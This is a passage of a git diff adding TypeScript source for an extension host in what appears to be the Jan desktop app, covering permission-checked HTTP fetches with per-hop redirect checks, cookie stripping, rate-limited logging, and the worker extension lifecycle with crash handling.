info: (...args) => console.info(tag, ...args),+ warn: (...args) => console.warn(tag, ...args),+ error: (...args) => console.error(tag, ...args),+ }+}++const notProvided = (what: string) =>+ new ExtensionError('E_NOT_FOUND', `${what} is not available in this host`)++const cancelled = () => new ExtensionError('E_CANCELLED', 'The request was cancelled')++/**+ * `http.fetch`: each hop goes through the plugin's `http_fetch`, which+ * re-checks the grants from extensions.json, keeps no cookie jar, caps the+ * body at 1 MiB and follows no redirect. Redirects are followed here so+ * every hop is checked against the grants too, with only CORS-safelisted+ * headers kept once one leaves the origin. `signal` (the worker cancelled+ * or went away) cancels the request in Rust.+ */+async function fetchChecked(+ extensionId: string,+ deps: HostApiDeps,+ signal: AbortSignal | undefined,+ url: string,+ init: HttpRequestInit = {}+): Promise<HttpResponse> {+ const http = deps.http+ if (!http)+ throw new ExtensionError(+ 'E_NOT_FOUND',+ 'ctx.http.fetch is only available to installed extensions'+ )+ let hop = firstHop(url, init.method ?? 'GET', init.headers, init.body)+ for (let redirects = 0; ; redirects++) {+ // The worker may cancel while a redirect is on its way back; its abort+ // event has fired by then, so nothing else would stop the next hop.+ if (signal?.aborted) throw cancelled()+ deps.dispatcher.checkUrl(extensionId, hop.url)+ let response: PluginHttpResponse+ try {+ response = await fetchHop(http, extensionId, hop, signal)+ } catch (error) {+ if (signal?.aborted) throw cancelled()+ throw error+ }+ const next = nextHop(hop, response.status, response.headers.location, redirects)+ if (next) {+ hop = next+ continue+ }+ const result: HttpResponse = {+ status: response.status,+ headers: withoutCookies(response.headers),+ body: response.body,+ }+ // JSON escaping can grow a body several times over; a reply the RPC+ // would drop is refused here, with a reason, instead.+ if (JSON.stringify(result).length > MAX_MESSAGE_BYTES - 1024)+ throw new ExtensionError(+ 'E_TOO_LARGE',+ 'The response is too large to return to the extension'+ )+ return result+ }+}++/**+ * The host side of every `ExtensionContext` method for one extension, with+ * no permission or argument checks: `PermissionDispatcher.dispatch` runs+ * those first, for in-process built-ins and workers alike. The only checks+ * here are the ones that depend on runtime state the policy cannot see:+ * redirect targets, what the contribution store holds, and `limits`.+ * Worker logging is always limited; built-ins log through `createLogger`+ * directly and never reach `log` here.+ */+export function createHostApi(+ manifest: ValidatedManifest,+ deps: HostApiDeps,+ limits: HostApiLimits = WORKER_LIMITS+): HostApi {+ const { id } = manifest+ const { contributions, settings } = deps+ const logger = createLogger(id)+ const storage = createExtensionStorage(id, deps.storage)+ let fetches = 0+ const subscriptions = new Map<string, number>()+ const logAllowed = rateLimiter(LOG_LINES_BURST, LOG_LINES_PER_SECOND)+ const notifyAllowed = rateLimiter(5, 0.5)+ let logDropped = false+ let logWindowStart = Date.now()+ let logWindowChars = 0+ // Counts the listeners of one event and releases the slot on dispose.+ const capped = (name: string, subscribe: () => { dispose(): void }) => {+ const count = subscriptions.get(name) ?? 0+ if (limits.subscriptions && count >= MAX_SUBSCRIPTIONS_PER_EVENT)+ throw tooMany(`subscriptions to '${name}'`)+ const subscription = subscribe()+ subscriptions.set(name, count + 1)+ let disposed = false+ return toDisposable(() => {+ if (disposed) return+ disposed = true+ subscriptions.set(name, (subscriptions.get(name) ?? 1) - 1)+ subscription.dispose()+ })+ }+ const conversations = (): ConversationsApi => {+ if (!deps.conversations) throw notProvided('Conversations')+ return deps.conversations+ }++ return {+ 'log': (_call, level: LogLevel, ...args: unknown[]) => {+ const now = Date.now()+ if (now - logWindowStart >= LOG_WINDOW_MS) {+ logWindowStart = now+ logWindowChars = 0+ }+ const line = logAllowed() ? capLogArgs(args) : undefined+ const chars = line?.reduce((n, s) => n + s.length, 0) ?? 0+ if (!line || logWindowChars + chars > MAX_LOG_CHARS_PER_WINDOW) {+ if (!logDropped)+ logger.warn('Logging too much; dropping lines for a while')+ logDropped = true+ return+ }+ logDropped = false+ logWindowChars += chars+ logger[level](...line)+ },+ 'settings.get': (_call, key) => settings.getSettingValue(id, key),+ 'settings.set': (_call, key, value) => settings.setSettingValue(id, key, value),+ 'storage.get': (_call, key) => storage.get(key),+ 'storage.set': (_call, key, value) => storage.set(key, value),+ 'storage.delete': (_call, key) => storage.delete(key),+ 'storage.keys': () => storage.keys(),+ 'commands.register': (_call, commandId, handler) =>+ contributions.registerCommand(id, commandId, handler),+ 'commands.execute': async (_call, commandId, ...args) => {+ if (own(own(contributions.getState().commands, id), commandId)) {+ const context: CommandContext = {+ location: 'extension',+ extensionId: id,+ }+ return contributions.executeCommand(id, commandId, context, ...args)+ }+ // API 1.0 reaches no host command and no other extension's command.+ throw new ExtensionError(+ 'E_NOT_FOUND',+ `Command '${commandId}' is not available`+ )+ },+ 'ui.notify': (_call, { level, message }) => {+ if (limits.notifyRate && !notifyAllowed()) throw tooMany('notifications')+ deps.notify({+ extensionName: localize(manifest, manifest.displayName),+ level,+ message,+ })+ },+ 'ui.setStatusItem': (_call, itemId, update) =>+ contributions.setStatusItem(id, itemId, update),+ 'conversations.listThreads': () => conversations().listThreads(),+ 'conversations.getThread': (_call, threadId) =>+ conversations().getThread(threadId),+ 'conversations.listMessages': (_call, threadId, opts) =>+ conversations().listMessages(threadId, opts),+ 'conversations.createThread': (_call, input) =>+ conversations().createThread(input),+ 'conversations.appendMessage': (_call, threadId, msg) =>+ conversations().appendMessage(threadId, msg),+ 'tools.register': (_call, name, handler) =>+ contributions.registerTool(id, name, handler),+ 'providers.register': (_call, providerId, handlers) => {+ // Inference goes from the host to the provider's baseUrl, so the user+ // must have granted that host, not only the `providers` permission.+ const declared = own(+ own(contributions.getState().providers, id),+ providerId+ )+ if (!declared)+ throw new ExtensionError(+ 'E_NOT_FOUND',+ `'${providerId}' is not declared in contributes.providers`+ )+ deps.dispatcher.checkUrl(id, declared.baseUrl)+ return contributions.registerProvider(id, providerId, handlers)+ },+ 'http.fetch': async ({ signal }, url, init) => {+ if (limits.fetchConcurrency && fetches >= MAX_CONCURRENT_FETCHES)+ throw tooMany(`requests at once (at most ${MAX_CONCURRENT_FETCHES})`)+ fetches+++ try {+ return await fetchChecked(id, deps, signal, url, init)+ } finally {+ fetches--+ }+ },+ 'events.subscribe': (_call, ...[name, listener]) =>+ capped(name, () => {+ switch (name) {+ case 'settings.didChange':+ return settings.onDidChange((change) => {+ if (change.extensionId === id)+ listener({ key: change.key, value: change.value })+ })+ case 'conversations.didCreateMessage':+ return conversations().onDidCreateMessage(listener)+ case 'conversations.didDeleteThread':+ return conversations().onDidDeleteThread(listener)+ }+ }),+ }+}diff --git a/web-app/src/lib/extensions/host.ts b/web-app/src/lib/extensions/host.tsnew file mode 100644index 000000000..5ee9bf0b9--- /dev/null+++ b/web-app/src/lib/extensions/host.ts@@ -0,0 +1,708 @@+import {+ API_VERSION,+ DisposableStore,+ Emitter,+ ExtensionError,+ isApiCompatible,+ isModelCapability,+ RESERVED_PUBLISHER,+ toDisposable,+ type ConversationsApi,+ type Event,+ type ExtensionContext,+ type ExtensionModule,+ type ModelCapability,+ type PermissionString,+ type ProviderModel,+ type ValidatedManifest,+} from '@janhq/extension-api'+import { CancellationTokenSource } from '@janhq/extension-runtime'+import { z } from 'zod'+import {+ appSettings,+ createInternalToolRegistry,+ createServiceRegistry,+ downloads,+ EngineManager,+ fs,+ type InternalToolRegistry,+ type ServiceRegistry,+} from '@janhq/core'+import { toast } from 'sonner'+import { getServiceHub } from '@/hooks/useServiceHub'+import { useLocalApiServer } from '@/hooks/useLocalApiServer'+import { i18n } from '@/i18n/react-i18next-compat'+import { loopbackFetch } from '@/lib/loopback-fetch'+import * as extensionsPlugin from '@janhq/tauri-plugin-extensions-api'+import type { BuiltinExtension } from './builtins'+import { createContext } from './context'+import { createConversationsApi } from './conversations'+import { ContributionStore, own, useContributions } from './contributions'+import { PermissionDispatcher } from './dispatcher'+import { createHostApi, type Notify } from './host-api'+import {+ createProviderFetch,+ type ExtensionHttp,+ type ProviderFetchMode,+} from './http'+import {+ enabledInstalled,+ startInstalled,+ type InstalledRegistry,+} from './installed-loader'+import {+ ExtensionSettingsStore,+ type AppSettingsBackend,+ type SecretBackend,+} from './settings-store'+import { toToolOutcome, type ToolCallOutcome } from './tools'+import { localize } from './l10n'+import { crashCounter } from './watchdog'+import {+ createBlobWorker,+ startWorker,+ type CreateWorker,+ type WorkerConnection,+} from './worker-runtime'++/**+ * `crashed`: the runtime stopped a running worker (it stopped answering, or+ * kept breaking the limits), as opposed to `failed` to start.+ */+export type ExtensionState =+ | 'inactive'+ | 'activating'+ | 'active'+ | 'failed'+ | 'crashed'++/**+ * Where an extension came from. Built-ins run in process; the rest run in a+ * worker: `dev` from a folder loaded unpacked, `installed` from the data+ * folder. Only `installed` ones have a network path: the plugin checks+ * every request against the grants in extensions.json, where the others+ * have no entry.+ */+export type ExtensionSource = 'builtin' | 'dev' | 'installed'++/** One extension as the host tracks it, for lists and settings pages. */+export interface HostedExtension {+ id: string+ manifest: ValidatedManifest+ source: ExtensionSource+ state: ExtensionState+ /** Why it failed to start or was stopped (`failed`, `crashed`). */+ error?: string+}++export interface SpawnWorkerOptions {+ manifest: ValidatedManifest+ /** The extension's IIFE bundle (`format: 'iife', name: 'JanExtension'`). */+ bundle: string+ /** What the user granted; never more than the manifest requests. */+ grants: readonly PermissionString[]+ source: Exclude<ExtensionSource, 'builtin'>+}++export interface ExtensionHostOptions {+ appSettings: AppSettingsBackend+ secrets: SecretBackend+ notify: Notify+ /** Defaults to a private store; the app passes `useContributions`. */+ contributions?: ContributionStore+ conversations?: ConversationsApi+ /** The network path of installed extensions; absent means none. */+ http?: ExtensionHttp+ /** The registry installed extensions are loaded and reloaded from. */+ installed?: InstalledRegistry+ /** Defaults to a blob-URL `Worker`; tests pass the sandbox harness. */+ createWorker?: CreateWorker+ /** The port of Jan's local API server, which no extension may reach. */+ localApiPort?: () => number | undefined+}++/**+ * Ids only built-ins may use: the `jan.` namespace, plus whatever id a+ * built-in of this host has, active or not. A worker extension with such+ * an id would otherwise take over the built-in's entry and settings.+ */+const RESERVED_PREFIX = `${RESERVED_PUBLISHER}.`++interface Entry {+ hosted: HostedExtension+ module?: ExtensionModule+ ctx?: ExtensionContext+ worker?: WorkerConnection+ /** Host-side registrations: contributions, settings schema, grants. */+ registrations?: DisposableStore+ /** Aborted at teardown: ends the provider streams of a stopped worker. */+ stopped?: AbortController+}++// listModels results come from extension code; only this shape is used.+const providerModels = z.array(+ z.object({+ id: z.string().min(1),+ displayName: z.string().optional(),+ capabilities: z+ .array(z.custom<ModelCapability>(isModelCapability))+ .nonempty()+ .refine((caps) => new Set(caps).size === caps.length, {+ message: 'capabilities must not repeat',+ })+ .optional(),+ })+)++const message = (error: unknown) =>+ error instanceof Error ? error.message : String(error)++/**+ * Runs extensions and owns what they share: the contribution registries,+ * the settings store, the service registry and the permission dispatcher.+ * Built-ins run in process through `activate(ctx)`; third-party extensions+ * run in a worker each. Both reach the host only through the dispatcher.+ */+export class ExtensionHost {+ readonly services: ServiceRegistry = createServiceRegistry()+ /** Built-ins' tools, offered under their plain names (`internal.tools`). */+ readonly internalTools: InternalToolRegistry = createInternalToolRegistry()+ readonly dispatcher: PermissionDispatcher+ readonly contributions: ContributionStore+ readonly settings: ExtensionSettingsStore++ private readonly entries = new Map<string, Entry>()+ // Active ids in activation order, so teardown can run in reverse.+ private readonly activeOrder: string[] = []+ private readonly changes = new Emitter<void>()+ // Lifecycle calls are serialized: React StrictMode mounts, unmounts and+ // mounts the provider again without awaiting, and the second activate must+ // see the deactivation that came before it.+ private queue: Promise<unknown> = Promise.resolve()+ // The last reload of each installed id, so the next one runs after it.+ private readonly reloads = new Map<string, Promise<void>>()+ private readonly crashLimitReached = crashCounter()+ // Ids that crashed too often; not started again until the app restarts.+ private readonly disabledForSession = new Set<string>()++ /** Fires whenever an extension's state changes. */+ readonly onDidChange: Event<void> = this.changes.event++ constructor(private readonly options: ExtensionHostOptions) {+ this.dispatcher = new PermissionDispatcher(options.localApiPort)+ this.contributions = options.contributions ?? new ContributionStore()+ this.settings = new ExtensionSettingsStore({+ appSettings: options.appSettings,+ secrets: options.secrets,+ })+ }++ list(): HostedExtension[] {+ return [...this.entries.values()].map((e) => ({ ...e.hosted }))+ }++ /** Activates one built-in. Its `dependsOn` must already be active. */+ activateBuiltin(def: BuiltinExtension): Promise<void> {+ return this.activateBuiltins([def])+ }++ /**+ * Activates built-ins so that each one's `dependsOn` comes first. Never+ * rejects: a failure is logged and marks that extension (and whatever+ * depends on it) `failed` while the rest continue.+ */+ activateBuiltins(defs: BuiltinExtension[]): Promise<void> {+ return this.enqueue(async () => {+ const byId = new Map(defs.map((d) => [d.manifest.id, d]))+ const visiting = new Set<string>()+ const visit = async (def: BuiltinExtension): Promise<void> => {+ const { id } = def.manifest+ const state = this.entries.get(id)?.hosted.state+ if (state === 'active' || state === 'failed' || visiting.has(id)) {+ if (visiting.has(id))+ this.fail(def.manifest, new Error('dependency cycle'))+ return+ }+ visiting.add(id)+ for (const dep of def.dependsOn ?? []) {+ const depDef = byId.get(dep)+ if (depDef) await visit(depDef)+ }+ visiting.delete(id)+ // A cycle partner may have failed this one while we were visiting.+ if (this.entries.get(id)?.hosted.state === 'failed') return+ const blocker = (def.dependsOn ?? []).find(+ (dep) => this.entries.get(dep)?.hosted.state !== 'active'+ )+ if (blocker) {+ this.fail(+ def.manifest,+ new Error(`dependency '${blocker}' is not active`)+ )+ return+ }+ await this.activate(def)+ }+ for (const def of defs) await visit(def)+ })+ }++ /** Deactivates every active extension, last activated first. */+ deactivateAll(): Promise<void> {+ return this.enqueue(async () => {+ for (const id of [...this.activeOrder].reverse()) {+ const entry = this.entries.get(id)+ if (entry) await this.teardown(entry)+ }+ })+ }++ /**+ * Starts a third-party extension in its own worker. Resolves with its+ * entry once it is active, or failed with the reason; never rejects for+ * the extension's own faults. Grants beyond what the manifest requests+ * are dropped.+ */+ spawnWorkerExtension(options: SpawnWorkerOptions): Promise<HostedExtension> {+ const { manifest, source } = options+ return this.enqueue(async () => {+ if (+ manifest.id.startsWith(RESERVED_PREFIX) ||+ this.entries.get(manifest.id)?.hosted.source === 'builtin'+ )+ throw new ExtensionError(+ 'E_PERMISSION',+ `The id '${manifest.id}' is reserved for Jan's built-in extensions`+ )+ const existing = this.entries.get(manifest.id)?.hosted+ if (existing?.state === 'active' || existing?.state === 'activating')+ throw new ExtensionError(+ 'E_INVALID_ARGS',+ `Extension '${manifest.id}' is already running`+ )+ // An installed copy and a development copy of one id would share its+ // settings and contributions; whichever came first keeps it.+ if (existing && existing.source !== source)+ throw new ExtensionError(+ 'E_INVALID_ARGS',+ `Extension '${manifest.id}' is already loaded from another source`+ )+ const entry: Entry = {+ hosted: { id: manifest.id, manifest, source, state: 'activating' },+ }+ this.entries.set(manifest.id, entry)+ this.changes.fire()+ try {+ if (this.disabledForSession.has(manifest.id))+ throw new Error(+ 'it crashed too often and is disabled for this session'+ )+ if (!isApiCompatible(manifest.apiVersion, API_VERSION)) {+ throw new Error(+ `needs extension API ${manifest.apiVersion}, host provides ${API_VERSION}`+ )+ }+ // Proposed APIs may change in any minor, so only a developer's own+ // unpacked folder may opt into them.+ if (source !== 'dev' && manifest.proposals?.length)+ throw new Error('proposals are only allowed when loaded unpacked')+ const requested = new Set(manifest.permissions)+ entry.registrations = this.register(+ manifest,+ options.grants.filter((g) => requested.has(g))+ )+ entry.worker = await startWorker({+ manifest,+ bundle: options.bundle,+ createWorker: this.options.createWorker ?? createBlobWorker,+ dispatcher: this.dispatcher,+ api: createHostApi(manifest, {+ ...this.apiDeps(),+ http: source === 'installed' ? this.options.http : undefined,+ }),+ onCrash: (error) => this.onCrash(entry, error),+ })+ entry.stopped = new AbortController()+ entry.hosted.state = 'active'+ this.activeOrder.push(manifest.id)+ this.changes.fire()+ } catch (error) {+ await this.teardown(entry)+ this.fail(manifest, error, source)+ }+ }).then(() => ({ ...this.entries.get(manifest.id)!.hosted }))+ }++ /**+ * Stops one extension and releases everything it registered. A worker is+ * asked to deactivate first and terminated regardless.+ */+ terminate(extensionId: string): Promise<void> {+ return this.enqueue(async () => {+ const entry = this.entries.get(extensionId)+ if (entry) await this.teardown(entry)+ })+ }++ /**+ * Loads every enabled installed extension from the registry, all at+ * once; nothing in safe mode. One that fails is marked `failed` and the+ * rest still load.+ */+ async loadInstalled(): Promise<void> {+ const registry = this.options.installed+ if (!registry) return+ const entries = await enabledInstalled(registry)+ await Promise.allSettled(entries.map((e) => this.reload(e.id)))+ }++ /**+ * Brings the running copy of an installed extension in line with the+ * registry after it changed (enable, grants, install, update, rollback,+ * uninstall): stops it, then starts it again from the registry if it is+ * still installed and enabled, so the new grants and version apply.+ *+ * Reloads of one id run one after another, each reading the registry+ * only once the one before it is done. Overlapping ones could let a+ * reload that read the old grants start the worker last, and the newer+ * start would then be refused as already running.+ */+ reload(extensionId: string): Promise<void> {+ const run = (this.reloads.get(extensionId) ?? Promise.resolve()).then(+ () => this.reloadNow(extensionId)+ )+ const tail = run.catch(() => undefined)+ this.reloads.set(extensionId, tail)+ void tail.then(() => {+ if (this.reloads.get(extensionId) === tail)+ this.reloads.delete(extensionId)+ })+ return run+ }++ private async reloadNow(extensionId: string): Promise<void> {+ const source = this.entries.get(extensionId)?.hosted.source+ if (source !== undefined && source !== 'installed') return+ await this.unload(extensionId)+ const registry = this.options.installed+ if (registry) await startInstalled(this, registry, extensionId)+ }++ /**+ * Records that an installed extension could not be started, so its+ * reason shows next to it. Whatever else holds the id (a built-in, a+ * development copy, a copy already running) keeps its entry.+ */+ markFailed(manifest: ValidatedManifest, error: unknown): Promise<void> {+ return this.enqueue(async () => {+ const hosted = this.entries.get(manifest.id)?.hosted+ const running =+ hosted?.state === 'active' || hosted?.state === 'activating'+ if (!hosted || (hosted.source === 'installed' && !running))+ this.fail(manifest, error, 'installed')+ })+ }++ /**+ * The `fetch` inference with a contributed provider runs on: the+ * extension's own network path, checked against its grants on every URL+ * and redirect hop, and ended when the extension stops. Undefined unless+ * it is an installed extension that is running: built-ins contribute no+ * providers, and a folder loaded for development has no network path.+ */+ providerFetch(+ extensionId: string,+ mode: ProviderFetchMode+ ): typeof globalThis.fetch | undefined {+ const entry = this.entries.get(extensionId)+ const http = this.options.http+ if (!http || entry?.hosted.source !== 'installed' || !entry.stopped)+ return undefined+ return createProviderFetch({+ extensionId,+ http,+ checkUrl: (url) => this.dispatcher.checkUrl(extensionId, url),+ stopped: entry.stopped.signal,+ mode,+ })+ }++ /**+ * Stops a worker extension and forgets it, so it leaves `list()`. Nothing+ * about a worker extension is kept host-side, so loading it again starts+ * from scratch. Built-ins cannot be unloaded.+ */+ unload(extensionId: string): Promise<void> {+ return this.enqueue(async () => {+ const entry = this.entries.get(extensionId)+ if (!entry) return+ if (entry.hosted.source === 'builtin')+ throw new ExtensionError(+ 'E_INVALID_ARGS',+ `Extension '${extensionId}' is a built-in and cannot be unloaded`+ )+ await this.teardown(entry)+ this.entries.delete(extensionId)+ this.changes.fire()+ })+ }++ /**+ * Runs a contributed tool. Aborting `signal` (the chat's Stop) cancels the+ * call in the extension too. Failures come back as an `error` outcome,+ * like other tool sources, rather than as a rejection.+ */+ async callTool(+ extensionId: string,+ name: string,+ input: unknown,+ options: { signal?: AbortSignal; maxOutputChars?: number } = {}+ ): Promise<ToolCallOutcome> {+ const handler = own(own(this.contributions.getState().tools, extensionId), name)+ ?.handler+ if (!handler)+ return { error: `Tool '${name}' of '${extensionId}' is not available` }+ const cancellation = new CancellationTokenSource()+ const cancel = () => cancellation.cancel()+ if (options.signal?.aborted) cancel()+ options.signal?.addEventListener('abort', cancel, { once: true })+ try {+ return toToolOutcome(+ await handler(input, cancellation.token),+ options.maxOutputChars+ )+ } catch (error) {+ return { error: message(error) }+ } finally {+ options.signal?.removeEventListener('abort', cancel)+ }+ }++ /** The models a contributed provider reports through `listModels`. */+ async listProviderModels(+ extensionId: string,+ providerId: string+ ): Promise<ProviderModel[] | undefined> {+ const handler = own(+ own(this.contributions.getState().providers, extensionId),+ providerId+ )?.handler+ if (!handler?.listModels) return undefined+ const parsed = providerModels.safeParse(await handler.listModels())+ if (!parsed.success)+ throw new ExtensionError(+ 'E_INVALID_ARGS',+ `'${extensionId}' returned an invalid model list`+ )+ return parsed.data+ }++ /**+ * A running worker was stopped by the runtime. It is marked `crashed` and+ * released. An installed one is started again from the registry, unless+ * it crashed CRASH_LIMIT times within the window: then it stays off until+ * the app restarts, and the user is told. A crash of an entry that is no+ * longer the running one (it was already being stopped or replaced, e.g.+ * its heartbeat ran out while a user-initiated teardown waited on+ * `deactivate`) is neither counted nor restarted.+ */+ private onCrash(entry: Entry, error: Error): void {+ const { id, manifest, source } = entry.hosted+ void this.enqueue(async () => {+ if (this.entries.get(id) !== entry || entry.hosted.state !== 'active')+ return+ // Marked first, so teardown does not ask a dead worker to deactivate.+ entry.hosted = { ...entry.hosted, state: 'crashed', error: error.message }+ await this.teardown(entry)+ this.changes.fire()+ if (this.crashLimitReached(id)) {+ this.disabledForSession.add(id)+ this.options.notify({+ extensionName: localize(manifest, manifest.displayName),+ level: 'error',+ message: i18n.t('extensions:crashed.disabled'),+ })+ } else if (source === 'installed') {+ // Not awaited: reload enqueues work of its own behind this task.+ void this.reload(id)+ }+ })+ }++ /** Registers what the host holds for an extension; dispose releases it. */+ private register(+ manifest: ValidatedManifest,+ grants: readonly PermissionString[]+ ): DisposableStore {+ const registrations = new DisposableStore()+ registrations.add(this.contributions.registerExtension(manifest))+ registrations.add(this.settings.register(manifest))+ this.dispatcher.grant(manifest.id, grants)+ registrations.add(+ toDisposable(() => this.dispatcher.revokeAll(manifest.id))+ )+ return registrations+ }++ private apiDeps() {+ return {+ dispatcher: this.dispatcher,+ contributions: this.contributions,+ settings: this.settings,+ storage: this.options.appSettings,+ notify: this.options.notify,+ conversations: this.options.conversations,+ }+ }++ private enqueue(task: () => Promise<void>): Promise<void> {+ const run = this.queue.then(task)+ this.queue = run.catch(() => undefined)+ return run+ }++ private async activate(def: BuiltinExtension): Promise<void> {+ const { manifest } = def+ const entry: Entry = {+ hosted: {+ id: manifest.id,+ manifest,+ source: 'builtin',+ state: 'activating',+ },+ }+ this.entries.set(manifest.id, entry)+ this.changes.fire()+ try {+ if (!isApiCompatible(manifest.apiVersion, API_VERSION)) {+ throw new Error(+ `needs extension API ${manifest.apiVersion}, host provides ${API_VERSION}`+ )+ }+ // P1: a built-in gets exactly what its manifest requests.+ entry.registrations = this.register(manifest, manifest.permissions)++ entry.module = await def.load()+ entry.ctx = createContext(+ manifest,+ this.apiDeps(),+ {+ services: this.services,+ fs,+ appSettings,+ downloads,+ secrets: { get: (key) => this.options.secrets.get(key) },+ engines: { register: (engine) => EngineManager.instance().register(engine) },+ tools: this.internalTools,+ loopbackFetch,+ }+ )+ await entry.module.activate(entry.ctx)+ entry.hosted.state = 'active'+ this.activeOrder.push(manifest.id)+ this.changes.fire()+ } catch (error) {+ // Release whatever the failed activate managed to register.+ await this.teardown(entry)+ this.fail(manifest, error)+ }+ }++ private fail(+ manifest: ValidatedManifest,+ error: unknown,+ source: ExtensionSource = 'builtin'+ ): void {+ console.error(`Extension '${manifest.id}' failed to activate:`, error)+ const entry = this.entries.get(manifest.id)+ const hosted: HostedExtension = {+ id: manifest.id,+ manifest,+ source,+ state: 'failed',+ error: message(error),+ }+ if (entry) entry.hosted = hosted+ else this.entries.set(manifest.id, { hosted })+ this.changes.fire()+ }++ private async teardown(entry: Entry): Promise<void> {+ const { id } = entry.hosted+ const wasActive = entry.hosted.state === 'active'+ if (wasActive) {+ try {+ await entry.module?.deactivate?.()+ } catch (error) {+ console.error(`Extension '${id}' failed to deactivate:`, error)+ }+ await entry.worker?.deactivate()+ }+ entry.worker?.terminate()+ entry.stopped?.abort()+ for (const store of [entry.ctx?.subscriptions, entry.registrations]) {+ try {+ store?.dispose()+ } catch (error) {+ console.error(`Extension '${id}' failed to dispose:`, error)+ }+ }+ entry.module = undefined+ entry.ctx = undefined+ entry.worker = undefined+ entry.stopped = undefined+ entry.registrations = undefined+ const index = this.activeOrder.indexOf(id)+ if (index >= 0) this.activeOrder.splice(index, 1)+ if (wasActive) {+ entry.hosted = { ...entry.hosted, state: 'inactive' }+ this.changes.fire()+ }+ }+}++/**+ * The title of an extension's toast. The display name is the extension's+ * own claim, so it never stands alone: a fixed prefix keeps an extension+ * named "Jan" from passing for the app.+ */+export const toastTitle = (extensionName: string) =>+ i18n.t('extensions:extensionLabel', { extension: extensionName })++const notify: Notify = ({ extensionName, level, message }) => {+ const show = {+ info: toast.info,+ success: toast.success,+ warning: toast.warning,+ error: toast.error,+ }[level]+ show(toastTitle(extensionName), { description: message })+}++// Secrets go through the core service's `get_secret`/`set_secret`, the same+// keyring path the provider keys and the Hugging Face token use.+const secrets: SecretBackend = {+ get: (key) =>+ getServiceHub().core().invoke<string | null>('get_secret', { key }),+ set: (key, value) =>+ getServiceHub().core().invoke<void>('set_secret', { key, value }),+}++let host: ExtensionHost | undefined++/** The app-wide host, wired to the real settings, keyring and toasts. */+export function getExtensionHost(): ExtensionHost {+ host ??= new ExtensionHost({+ appSettings,+ secrets,+ notify,+ contributions: new ContributionStore(useContributions),+ // Resolved per call: the hub is ready before any extension activates,+ // but the host may be constructed earlier.+ conversations: createConversationsApi(getServiceHub),+ http: extensionsPlugin,+ installed: extensionsPlugin,+ localApiPort: () => useLocalApiServer.getState().serverPort,+ })+ return host+}diff --git a/web-app/src/lib/extensions/http.ts b/web-app/src/lib/extensions/http.tsnew file mode 100644index 000000000..b9d32c67b--- /dev/null+++ b/web-app/src/lib/extensions/http.ts@@ -0,0 +1,430 @@+import { ExtensionError, type ExtensionErrorCode } from '@janhq/extension-api'+import type * as Plugin from '@janhq/tauri-plugin-extensions-api'++/**+ * The network path of installed extensions: the http commands of+ * tauri-plugin-extensions. Rust re-reads the grants from extensions.json,+ * keeps no cookie jar, refuses Jan's local API port and follows no+ * redirect; the host follows them here, checking every hop.+ */+export type ExtensionHttp = Pick<+ typeof Plugin,+ 'httpFetch' | 'httpFetchStream' | 'httpCancel'+>++export const MAX_REDIRECTS = 5+// Never forwarded either way: the host's cookies are not the extension's.+const COOKIE_HEADERS = new Set(['cookie', 'cookie2', 'set-cookie', 'set-cookie2'])+// What may follow a redirect to another origin. Anything else (Authorization,+// x-api-key and other custom credentials) was meant for the first origin.+const CORS_SAFELISTED_HEADERS = new Set([+ 'accept',+ 'accept-language',+ 'content-language',+ 'content-type',+])+const METHODS: readonly Plugin.HttpMethod[] = [+ 'GET',+ 'POST',+ 'PUT',+ 'PATCH',+ 'DELETE',+ 'HEAD',+]+// Statuses a web Response may not carry a body with.+const NULL_BODY_STATUSES = new Set([101, 204, 205, 304])++const isHttpMethod = (value: string): value is Plugin.HttpMethod =>+ (METHODS as readonly string[]).includes(value)++export const isCookieHeader = (name: string) =>+ COOKIE_HEADERS.has(name.toLowerCase())++const isRedirect = (status: number) =>+ status === 301 ||+ status === 302 ||+ status === 303 ||+ status === 307 ||+ status === 308++/** One request of a redirect chain. */+export interface Hop {+ url: string+ method: Plugin.HttpMethod+ body?: string+ headers: Headers+}++/** A first hop: the method checked, cookie headers dropped. */+export function firstHop(+ url: string,+ method: string,+ headers: HeadersInit | undefined,+ body: string | undefined+): Hop {+ const upper = method.toUpperCase()+ if (!isHttpMethod(upper))+ throw new ExtensionError('E_INVALID_ARGS', `Unsupported method '${method}'`)+ const kept = new Headers()+ new Headers(headers).forEach((value, name) => {+ if (!isCookieHeader(name)) kept.set(name, value)+ })+ return { url, method: upper, body, headers: kept }+}++/**+ * The request a redirect leads to, or undefined when `status` is not one.+ * Credentials stay with the first origin, and a 303 (or a 301/302 after a+ * POST) turns into a GET without a body, as browsers do.+ */+export function nextHop(+ hop: Hop,+ status: number,+ location: string | undefined,+ redirects: number+): Hop | undefined {+ if (!isRedirect(status) || !location) return undefined+ if (redirects >= MAX_REDIRECTS)+ throw new ExtensionError('E_INVALID_ARGS', 'Too many redirects')+ const next = new URL(location, hop.url)+ const headers = new Headers(hop.headers)+ if (next.origin !== new URL(hop.url).origin)+ for (const name of [...headers.keys()])+ if (!CORS_SAFELISTED_HEADERS.has(name)) headers.delete(name)+ const toGet =+ status === 303 ||+ ((status === 301 || status === 302) && hop.method === 'POST')+ return {+ url: next.toString(),+ method: toGet ? 'GET' : hop.method,+ body: toGet ? undefined : hop.body,+ headers,+ }+}++export function toPluginRequest(hop: Hop): Plugin.HttpRequest {+ const headers: Record<string, string> = {}+ hop.headers.forEach((value, name) => {+ headers[name] = value+ })+ return {+ url: hop.url,+ method: hop.method,+ headers,+ ...(hop.body !== undefined ? { body: hop.body } : {}),+ }+}++/** Response headers without cookies. */+export function withoutCookies(+ headers: Record<string, string>+): Record<string, string> {+ const kept: Record<string, string> = {}+ for (const [name, value] of Object.entries(headers))+ if (!isCookieHeader(name)) kept[name] = value+ return kept+}++const PLUGIN_ERROR_CODES: Partial<+ Record<Plugin.ExtensionsErrorKind, ExtensionErrorCode>+> = {+ denied: 'E_PERMISSION',+ invalid: 'E_INVALID_ARGS',+ notFound: 'E_NOT_FOUND',+ tooLarge: 'E_TOO_LARGE',+ cancelled: 'E_CANCELLED',+}++const isPluginError = (value: unknown): value is Plugin.ExtensionsError =>+ typeof value === 'object' &&+ value !== null &&+ typeof (value as { kind?: unknown }).kind === 'string' &&+ typeof (value as { message?: unknown }).message === 'string'++/** A rejection of the plugin (`{ kind, message }`) as an ExtensionError. */+export function toExtensionError(error: unknown): ExtensionError {+ if (error instanceof ExtensionError) return error+ if (isPluginError(error))+ return new ExtensionError(+ PLUGIN_ERROR_CODES[error.kind] ?? 'E_INTERNAL',+ error.message+ )+ return new ExtensionError(+ 'E_INTERNAL',+ error instanceof Error ? error.message : String(error)+ )+}++/** A request id for `httpCancel`; the 